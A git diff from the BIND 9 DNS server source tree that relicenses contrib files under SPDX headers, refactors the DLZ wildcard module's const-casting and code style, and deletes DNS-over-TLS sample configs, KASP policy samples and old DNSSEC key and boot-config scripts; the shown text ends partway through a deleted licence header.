diff --git a/contrib/dlz/modules/wildcard/dlz_wildcard_dynamic.c b/contrib/dlz/modules/wildcard/dlz_wildcard_dynamic.c
index e02c677cb9..2bb6975991 100644
--- a/contrib/dlz/modules/wildcard/dlz_wildcard_dynamic.c
+++ b/contrib/dlz/modules/wildcard/dlz_wildcard_dynamic.c
@@ -1,46 +1,31 @@
 /*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- * Copyright (C) 2012 Vadim Goncharov, Russia, vadim_nuclight@mail.ru.
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
+ * SPDX-License-Identifier: MPL-2.0 and ISC
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ */
+
+/*
+ * Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+ * Copyright (C) Vadim Goncharov, Russia, vadim_nuclight@mail.ru.
  *
  * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
  * conceived and contributed by Rob Butler.
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Copyright (C) 1999-2001, 2013, 2016  Internet Systems Consortium, Inc.
- * ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+ * OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+ * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
  */
 
 /*
@@ -59,16 +44,6 @@
 #include <dlz_list.h>
 #include <dlz_minimal.h>
 
-#define DE_CONST(konst, var)           \
-	do {                           \
-		union {                \
-			const void *k; \
-			void *v;       \
-		} _u;                  \
-		_u.k = konst;          \
-		var = _u.v;            \
-	} while (0)
-
 /* fnmatch() return values. */
 #define FNM_NOMATCH 1 /* Match failed. */
 
@@ -134,7 +109,7 @@ dlz_allnodes(const char *zone, void *dbdata, dns_sdlzallnodes_t *allnodes) {
 	nrr_t *nrec;
 	int i = 0;
 
-	DE_CONST(zone, cd->zone);
+	cd->zone = UNCONST(zone);
 
 	/* Write info message to log */
 	cd->log(ISC_LOG_DEBUG(1), "dlz_wildcard allnodes called for zone '%s'",
@@ -239,7 +214,6 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 	const char *p;
 	char *namebuf;
 	nrr_t *nrec;
-	bool origin = true;
 
 #if DLZ_DLOPEN_VERSION >= 2
 	UNUSED(methods);
@@ -251,8 +225,8 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 		return (ISC_R_NOTFOUND);
 	}
 
-	DE_CONST(name, cd->record);
-	DE_CONST(p, cd->zone);
+	cd->record = UNCONST(name);
+	cd->zone = UNCONST(p);
 
 	if ((p != zone) && (strcmp(name, "@") == 0 || strcmp(name, zone) == 0))
 	{
@@ -264,9 +238,8 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 		strncpy(namebuf, zone, len - 1);
 		namebuf[len - 1] = '\0';
 		cd->record = namebuf;
-		origin = false;
 	} else if (p == zone) {
-		cd->record = "@";
+		cd->record = (char *)"@";
 	}
 
 	/* Write info message to log */
@@ -282,7 +255,8 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 		if (strcmp(cd->record, nrec->name) == 0) {
 			/* We handle authority data in dlz_authority() */
 			if (strcmp(nrec->type, "SOA") == 0 ||
-			    strcmp(nrec->type, "NS") == 0) {
+			    strcmp(nrec->type, "NS") == 0)
+			{
 				nrec = next;
 				continue;
 			}
@@ -324,14 +298,14 @@ dlz_authority(const char *zone, void *dbdata, dns_sdlzlookup_t *lookup) {
 	config_data_t *cd = (config_data_t *)dbdata;
 	char *querystring = NULL;
 	nrr_t *nrec;
-	const char *p, *name = "@";
+	const char *p;
 
 	p = shortest_match(cd->zone_pattern, zone);
 	if (p == NULL) {
 		return (ISC_R_NOTFOUND);
 	}
 
-	DE_CONST(p, cd->zone);
+	cd->zone = UNCONST(p);
 
 	/* Write info message to log */
 	cd->log(ISC_LOG_DEBUG(1), "dlz_wildcard_dynamic: authority for '%s'",
@@ -340,7 +314,6 @@ dlz_authority(const char *zone, void *dbdata, dns_sdlzlookup_t *lookup) {
 	result = ISC_R_NOTFOUND;
 	nrec = DLZ_LIST_HEAD(cd->rrs_list);
 	while (nrec != NULL) {
-		bool origin;
 		if (strcmp("@", nrec->name) == 0) {
 			isc_result_t presult;
 
@@ -406,7 +379,8 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	   ...) {
 	config_data_t *cd;
 	char *endp;
-	int i, def_ttl;
+	unsigned int i;
+	int def_ttl;
 	nrr_t *trec = NULL;
 	isc_result_t result;
 	const char *helper_name;
@@ -600,7 +574,7 @@ fnmatch(const char *pattern, const char *string, int flags) {
 	char *newp;
 	char c, test;
 
-	for (stringstart = string;;)
+	for (stringstart = string;;) {
 		switch (c = *pattern++) {
 		case EOS:
 			if ((flags & FNM_LEADING_DIR) && *string == '/') {
@@ -658,7 +632,8 @@ fnmatch(const char *pattern, const char *string, int flags) {
 			/* General case, use recursion. */
 			while ((test = *string) != EOS) {
 				if (!fnmatch(pattern, string,
-					     flags & ~FNM_PERIOD)) {
+					     flags & ~FNM_PERIOD))
+				{
 					return (0);
 				}
 				if (test == '/' && flags & FNM_PATHNAME) {
@@ -699,7 +674,7 @@ fnmatch(const char *pattern, const char *string, int flags) {
 					--pattern;
 				}
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		default:
 		norm:
 			if (c == *string) {
@@ -713,7 +688,8 @@ fnmatch(const char *pattern, const char *string, int flags) {
 			string++;
 			break;
 		}
-	/* NOTREACHED */
+	}
+	UNREACHABLE();
 }
 
 static int
@@ -760,7 +736,8 @@ rangematch(const char *pattern, char test, int flags, char **newp) {
 		}
 
 		if (*pattern == '-' && (c2 = *(pattern + 1)) != EOS &&
-		    c2 != ']') {
+		    c2 != ']')
+		{
 			pattern += 2;
 			if (c2 == '\\' && !(flags & FNM_NOESCAPE)) {
 				c2 = *pattern++;
diff --git a/contrib/dlz/modules/wildcard/testing/named.conf b/contrib/dlz/modules/wildcard/testing/named.conf
index 0192e18c46..cd46706a7f 100644
--- a/contrib/dlz/modules/wildcard/testing/named.conf
+++ b/contrib/dlz/modules/wildcard/testing/named.conf
@@ -1,17 +1,14 @@
 /*
- * Copyright (C) 2013  Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * SPDX-License-Identifier: MPL-2.0
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
- * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
- * PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
  */
 
 controls { };
diff --git a/contrib/dnspriv/README.md b/contrib/dnspriv/README.md
deleted file mode 100644
index 8fa6795208..0000000000
--- a/contrib/dnspriv/README.md
+++ /dev/null
@@ -1,23 +0,0 @@
-<!--
- - Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- -
- - This Source Code Form is subject to the terms of the Mozilla Public
- - License, v. 2.0. If a copy of the MPL was not distributed with this
- - file, You can obtain one at http://mozilla.org/MPL/2.0/.
- -
- - See the COPYRIGHT file distributed with this work for additional
- - information regarding copyright ownership.
--->
-### DNS Privacy in BIND
-
-This directory contains sample configuration files to enable BIND,
-with Nginx as a TLS proxy, to provide DNS over TLS.
-
-`named.conf` configures a validating recursive name server to listen
-on the localhost address at port 8853.
-
-`nginx.conf` configures a TLS proxy to listen on port 853 and
-forward queries and responses to `named`.
-
-For more information, please see
-[https://dnsprivacy.org/wiki/](https://dnsprivacy.org/wiki/)
diff --git a/contrib/dnspriv/named.conf b/contrib/dnspriv/named.conf
deleted file mode 100644
index 12d07a389b..0000000000
--- a/contrib/dnspriv/named.conf
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	listen-on port 8853 { 127.0.0.1; };
-	allow-query { localhost; };
-	recursion yes;
-	dnssec-validation auto;
-	tcp-clients 1024;
-};
diff --git a/contrib/dnspriv/nginx.conf b/contrib/dnspriv/nginx.conf
deleted file mode 100644
index 763ff35f30..0000000000
--- a/contrib/dnspriv/nginx.conf
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# uncomment to choose an appropriate UID/GID; default is 'nobody'
-# user bind bind;
-
-worker_processes auto;
-pid /var/run/nginx.pid;
-
-events {
-    worker_connections 1024;
-    multi_accept on;
-}
-
-stream {
-    upstream dns_tcp_servers {
-	server 127.0.0.1:8853;
-    }
-
-    server {
-	listen 853 ssl;
-	proxy_pass dns_tcp_servers;
-
-	# update to a suitable SSL certificate (e.g. from LetsEncrypt),
-	# and uncomment the following lines:
-	# ssl_certificate       /etc/nginx/lego/certificates/<cert>.crt;
-	# ssl_certificate_key   /etc/nginx/lego/certificates/<cert>.key;
-
-	ssl_protocols         TLSv1.2;
-	ssl_ciphers           ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;
-	ssl_session_tickets   on;
-	ssl_session_timeout   4h;
-	ssl_handshake_timeout 30s;
-    }
-}
diff --git a/contrib/kasp/README b/contrib/kasp/README
deleted file mode 100644
index fb897f1073..0000000000
--- a/contrib/kasp/README
+++ /dev/null
@@ -1,11 +0,0 @@
-This directory is for tools and scripts related to the OpenDNSSEC KASP
-("key and signature policy") format. Currently it only contains
-"kasp2policy.py", a python script for converting KASP key policy
-to the "dnssec.policy" format that is used by dnssec-keymgr.
-
-This depends on PLY (python lex/yacc) and on the "isc.dnskey" module in
-bin/python/isc.
-
-Basic test:
-$ python kasp2policy.py kasp.xml > policy.out
-$ diff policy.out policy.good 
diff --git a/contrib/kasp/kasp.xml b/contrib/kasp/kasp.xml
deleted file mode 100644
index d94b0843ec..0000000000
--- a/contrib/kasp/kasp.xml
+++ /dev/null
@@ -1,134 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-
-<!-- Sample KASP file to use for testing kasp2policy.py. -->
-<KASP>
-	<Policy name="Policy1">
-	  <Description>A default policy that will
-		amaze you and your friends</Description>
-		<Signatures>
-			<Resign>PT5M</Resign>
-			<Refresh>PT5M</Refresh>
-			<Validity>
-					<Default>PT15M</Default>
-					<Denial>PT15M</Denial>
-			</Validity>
-			<Jitter>PT2M</Jitter>
-			<InceptionOffset>PT1M</InceptionOffset>
-		</Signatures>
-
-		<Denial>
-			<NSEC>
-			</NSEC>
-		</Denial>
-
-		<Keys>
-			<!-- Parameters for both KSK and ZSK -->
-			<TTL>PT1M</TTL>
-			<RetireSafety>PT0S</RetireSafety>
-			<PublishSafety>PT0S</PublishSafety>
-
-			<!-- Parameters for KSK only -->
-			<KSK>
-				<Algorithm length="2048">5</Algorithm>
-				<Lifetime>PT40M</Lifetime>
-				<Repository>softHSM</Repository>
-				<Standby>1</Standby>
-			</KSK>
-
-			<!-- Parameters for ZSK only -->
-			<ZSK>
-				<Algorithm length="2048">5</Algorithm>
-				<Lifetime>PT25M</Lifetime>
-				<Repository>softHSM</Repository>
-				<Standby>1</Standby>
-			</ZSK>
-		</Keys>
-
-		<Zone>
-			<PropagationDelay>PT0S</PropagationDelay>
-			<SOA>
-				<TTL>PT0S</TTL>
-				<Minimum>PT0S</Minimum>
-				<Serial>unixtime</Serial>
-			</SOA>
-		</Zone>
-
-		<Parent>
-			<PropagationDelay>PT8M</PropagationDelay>
-			<DS>
-				<TTL>PT0S</TTL>
-			</DS>
-			<SOA>
-				<TTL>PT0S</TTL>
-				<Minimum>PT0S</Minimum>
-			</SOA>
-		</Parent>
-	</Policy>
-	<Policy name="Policy2">
-		<Description>A default policy that will amaze you and your friends</Description>
-		<Signatures>
-			<Resign>PT7M</Resign>
-			<Refresh>PT7M</Refresh>
-			<Validity>
-					<Default>PT15M</Default>
-					<Denial>PT16M</Denial>
-			</Validity>
-			<Jitter>PT2M</Jitter>
-			<InceptionOffset>PT1M</InceptionOffset>
-		</Signatures>
-
-		<Denial>
-			<NSEC3>
-				<Resalt>P120D</Resalt>
-				<Hash>
-					<Algorithm>1</Algorithm>
-					<Iterations>5</Iterations>
-					<Salt length="8"/>
-				</Hash>
-			</NSEC3>
-		</Denial>
-
-		<Keys>
-			<!-- Parameters for both KSK and ZSK -->
-			<TTL>PT15M</TTL>
-			<RetireSafety>PT0S</RetireSafety>
-			<PublishSafety>PT0S</PublishSafety>
-
-			<!-- Parameters for KSK only -->
-			<KSK>
-				<Algorithm length="2048">7</Algorithm>
-				<Lifetime>PT45M</Lifetime>
-				<Repository>softHSM</Repository>
-				<Standby>1</Standby>
-			</KSK>
-
-			<!-- Parameters for ZSK only -->
-			<ZSK>
-				<Algorithm length="2048">7</Algorithm>
-				<Lifetime>PT25M</Lifetime>
-				<Repository>softHSM</Repository>
-				<Standby>1</Standby>
-			</ZSK>
-		</Keys>
-
-		<Zone>
-			<PropagationDelay>PT0S</PropagationDelay>
-			<SOA>
-				<TTL>PT0S</TTL>
-				<Minimum>PT0S</Minimum>
-				<Serial>unixtime</Serial>
-			</SOA>
-		</Zone>
-
-		<Parent>
-			<PropagationDelay>PT12M</PropagationDelay>
-			<DS>
-				<TTL>PT0S</TTL>
-			</DS>
-			<SOA>
-				<TTL>PT0S</TTL>
-				<Minimum>PT0S</Minimum>
-			</SOA>
-		</Parent>
-	</Policy>
-</KASP>
diff --git a/contrib/kasp/policy.good b/contrib/kasp/policy.good
deleted file mode 100644
index 18c636083c..0000000000
--- a/contrib/kasp/policy.good
+++ /dev/null
@@ -1,24 +0,0 @@
-# A default policy that will
-# amaze you and your friends
-policy Policy1 {
-	algorithm RSASHA1;
-	keyttl 60;
-	key-size ksk 2048;
-	key-size zsk 2048;
-	roll-period ksk 2400;
-	roll-period zsk 1500;
-	standby ksk 1;
-	standby zsk 1;
-};
-
-# A default policy that will amaze you and your friends
-policy Policy2 {
-	algorithm NSEC3RSASHA1;
-	keyttl 900;
-	key-size ksk 2048;
-	key-size zsk 2048;
-	roll-period ksk 2700;
-	roll-period zsk 1500;
-	standby ksk 1;
-	standby zsk 1;
-};
diff --git a/contrib/scripts/catzhash.py b/contrib/scripts/catzhash.py
index 8ad61c39b3..fa0b69becf 100644
--- a/contrib/scripts/catzhash.py
+++ b/contrib/scripts/catzhash.py
@@ -1,9 +1,11 @@
 #!/usr/bin/python
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
diff --git a/contrib/scripts/check-secure-delegation.pl.in b/contrib/scripts/check-secure-delegation.pl.in
index 8a7924358a..0f38c08f22 100644
--- a/contrib/scripts/check-secure-delegation.pl.in
+++ b/contrib/scripts/check-secure-delegation.pl.in
@@ -2,6 +2,8 @@
 #
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -37,7 +39,7 @@ foreach $zone (@ARGV) {
 	# Read the DS records and extract the key id, algorithm pairs
 	open(DS, "$dig -t DS -q $zone|") || die("dig DS failed");
 	while(<DS>) {
-		@words = split; 
+		@words = split;
 		if ($words[3] eq "RRSIG" && $words[4] eq "DS") {
 			next if ($words[8] >= $now && $words[9] <= $now);
 			print "BAD SIG DATES: $_";
diff --git a/contrib/scripts/check5011.pl b/contrib/scripts/check5011.pl
index 78b0a4c612..814295a332 100644
--- a/contrib/scripts/check5011.pl
+++ b/contrib/scripts/check5011.pl
@@ -1,5 +1,16 @@
 #!/usr/bin/perl
 
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
 use warnings;
 use strict;
 
diff --git a/contrib/scripts/dnssec-keyset.sh b/contrib/scripts/dnssec-keyset.sh
deleted file mode 100644
index f93ac9ff47..0000000000
--- a/contrib/scripts/dnssec-keyset.sh
+++ /dev/null
@@ -1,210 +0,0 @@
-#!/bin/sh
-# Copyright (C) 2015  Internet Systems Consortium, Inc. ("ISC")
-#
-# Permission to use, copy, modify, and/or distribute this software for any
-# purpose with or without fee is hereby granted, provided that the above
-# copyright notice and this permission notice appear in all copies.
-#
-# THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
-# REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
-# AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
-# INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
-# LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
-# OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
-# PERFORMANCE OF THIS SOFTWARE.
-#
-# Original script contributed by Jeffry A. Spain <spainj@countryday.net>
-
-HELP="
-Generates a set of <count> successive DNSSEC keys for <zone>
-Key timings are based on a pre-publication rollover strategy
-
- <life>  (lifetime) is the key active lifetime in days [default 180]
- <intro> (introduction time) is the number of days from publication
-         to activation of a key [default 30]
- <ret>   (retirement time) is the number of days from inactivation
-         to deletion of a key [default 30]
-
-Options:
- -a <alg>    Cryptographic algorithm. See man dnssec-keygen for defaults.
- -b <bits>   Number of bits in the key. See man dnssec-keygen for defaults.
- -k          if present, generate Key Signing Keys (KSKs). Otherwise,
-             generate Zone Signing Keys (ZSKs).
- -3          If present and if -a is not specified, use an NSEC3-
-             capable algorithm. See man dnssec-keygen for defaults.
- -i <date>   Inception date of the set of keys, in 'mm/dd/yyyy' format.
-             The first two keys will be published by this date, and the
-             first one will be activated. Default is today.
- -f <index>  Index of first key generated. Defaults to 0.
- -K <dir>    Key repository: write keys to this directory. Defaults to CWD. 
- -d          Dry run. No actual keys generated if present."
-
-USAGE="Usage:
-`basename $0` [-a <alg>] [-b <bits>] [-k] [-3] [-i <date>]
-              [-f <index>] [-d] <zone> <count> [<life>] [<intro>] [<ret>]"
-
-ALGFLAG=''
-BITSFLAG=''
-KSKFLAG=''
-NSEC3FLAG=''
-KEYREPO=''
-DRYRUN=false
-OPTKSK=false
-K=0
-INCEP=`date +%m/%d/%Y`
-
-# Parse command line options
-while getopts ":a:b:df:hkK:3i:" thisOpt
-do
-    case $thisOpt in
-        a)
-            ALGFLAG=" -a $OPTARG"
-            ;;
-        b)
-            BITSFLAG=" -b $OPTARG"
-            ;;
-        d)
-            DRYRUN=true
-            ;;
-        f)
-            OPTKSK=true
-            K=$OPTARG
-            ;;
-        h)
-            echo "$USAGE"
-            echo "$HELP"
-            exit 0
-            ;;
-        k)
-            KSKFLAG=" -f KSK"
-            ;;
-        K)
-            KEYREPO=$OPTARG
-            ;;
-        3)
-            NSEC3FLAG=" -3"
-            ;;
-        i)
-            INCEP=$OPTARG
-            ;;
-        *)
-            echo 'Unrecognized option.'
-            echo "$USAGE"
-            exit 1
-            ;;
-    esac
-done
-shift `expr $OPTIND - 1`
-
-# Check that required arguments are present
-if [ $# -gt 5 -o $# -lt 2 ]; then
-    echo "$USAGE"
-    exit 1
-fi
-
-# Remaining arguments:
-# DNS zone name
-ZONE=$1
-shift
-
-# Number of keys to be generated
-COUNT=$1
-shift
-
-# Key active lifetime
-LIFE=${1:-180}
-[ $# -ne 0 ] && shift
-
-# Key introduction time (publication to activation)
-INTRO=${1:-30}
-[ $# -ne 0 ] && shift
-
-# Key retirement time (inactivation to deletion)
-RET=${1:-30}
-
-# Today's date in dnssec-keygen format (YYYYMMDD)
-TODAY=`date +%Y%m%d`
-
-# Key repository defaults to CWD
-if [ -z "$KEYREPO" ]; then
-    KEYREPO="."
-fi
-
-if $DRYRUN; then
-    echo 'Dry Run (no key files generated)'
-elif [ ! -d "$KEYREPO" ]; then
-    # Create the key repository if it does not currently exist
-    mkdir -p "$KEYREPO"
-fi
-
-# Iterate through the key set. K is the index, zero-based.
-KLAST=`expr $K + $COUNT`
-while [ $K -lt $KLAST ]; do
-    KEYLABEL="Key `printf \"%02d\" $K`:"
-    # Epoch of the current key
-    # (zero for the first key, increments of key lifetime)
-    # The epoch is in days relative to the inception date of the key set
-    EPOCH=`expr $LIFE \* $K`
-    # Activation date in days is the same as the epoch
-    ACTIVATE=$EPOCH
-    # Publication date in days relative to the key epoch
-    PUBLISH=`expr $EPOCH - $LIFE - $INTRO`
-    # Inactivation date in days relative to the key epoch
-    INACTIVE=`expr $EPOCH + $LIFE`
-    # Deletion date in days relative to the key epoch
-    DELETE=`expr $EPOCH + $LIFE + $RET`
-
-    # ... these values should not precede the key epoch
-    [ $ACTIVATE -lt 0 ] && ACTIVATE=0
-    [ $PUBLISH -lt 0 ] && PUBLISH=0
-    [ $INACTIVE -lt 0 ] && INACTIVE=0
-    [ $DELETE -lt 0 ] && DELETE=0
-
-    # Key timing dates in dnssec-keygen format (YYYYMMDD):
-    # publication, activation, inactivation, deletion
-    PDATE=`date -d "$INCEP +$PUBLISH day" +%Y%m%d`
-    ADATE=`date -d "$INCEP +$ACTIVATE day" +%Y%m%d`
-    IDATE=`date -d "$INCEP +$INACTIVE day" +%Y%m%d`
-    DDATE=`date -d "$INCEP +$DELETE day" +%Y%m%d`
-
-    # Construct the dnssec-keygen command including all the specified options.
-    # Suppress key generation progress information, and save the key in
-    # the $KEYREPO directory.
-    KEYGENCMD="dnssec-keygen -q$ALGFLAG$BITSFLAG$NSEC3FLAG$KSKFLAG -P $PDATE -A $ADATE -I $IDATE -D $DDATE -K $KEYREPO $ZONE"
-    echo "$KEYLABEL $KEYGENCMD"
-
-    # Generate the key and retrieve its name
-    if $DRYRUN; then
-        KEYNAME="DryRunKey-`printf \"%02d\" $K`"
-    else
-        KEYNAME=`$KEYGENCMD`
-    fi
-
-    # Indicate the key status based on key timing dates relative to today
-    if [ $TODAY -ge $DDATE ]; then
-        echo "$KEYLABEL $KEYNAME is obsolete post deletion date."
-    elif [ $TODAY -ge $IDATE ]; then
-        echo "$KEYLABEL $KEYNAME is published and inactive prior to deletion date."
-    elif [ $TODAY -ge $ADATE ]; then
-        echo "$KEYLABEL $KEYNAME is published and active."
-    elif [ $TODAY -ge $PDATE ]; then
-        echo "$KEYLABEL $KEYNAME is published prior to activation date."
-    else
-        echo "$KEYLABEL $KEYNAME is pending publication."
-    fi
-
-    # For published KSKs, generate the required DS records,
-    # saving them to the file $KEYREPO/DS-$KEYNAME
-    if $OPTKSK && [ $TODAY -ge $PDATE -a $TODAY -lt $DDATE ]; then
-        echo "$KEYLABEL $KEYNAME (KSK) requires the publication of DS records in the parent zone."
-        if $DRYRUN; then
-            echo "$KEYLABEL No DS-$KEYNAME file created."
-        else
-            dnssec-dsfromkey "$KEYREPO/$KEYNAME" > "$KEYREPO/DS-$KEYNAME"
-            echo "$KEYLABEL See $KEYREPO/DS-$KEYNAME."
-        fi
-    fi
-    K=`expr $K + 1`
-done
-
-exit 0
diff --git a/contrib/scripts/named-bootconf.sh b/contrib/scripts/named-bootconf.sh
deleted file mode 100644
index cef5f8af1a..0000000000
--- a/contrib/scripts/named-bootconf.sh
+++ /dev/null
@@ -1,299 +0,0 @@
-#!/bin/sh
-#
-# Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# $NetBSD: named-bootconf.sh,v 1.5 1998/12/15 01:00:53 tron Exp $
-#
-# Copyright (c) 1995, 1998 The NetBSD Foundation, Inc.
-# All rights reserved.
-#
-# This code is derived from software contributed to The NetBSD Foundation
-# by Matthias Scheler.
-#
-# Redistribution and use in source and binary forms, with or without
-# modification, are permitted provided that the following conditions
-# are met:
-# 1. Redistributions of source code must retain the above copyright
-#    notice, this list of conditions and the following disclaimer.
-# 2. Redistributions in binary form must reproduce the above copyright
-#    notice, this list of conditions and the following disclaimer in the
-#    documentation and/or other materials provided with the distribution.
-#
-# THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
-# ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
-# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
-# PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
-# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
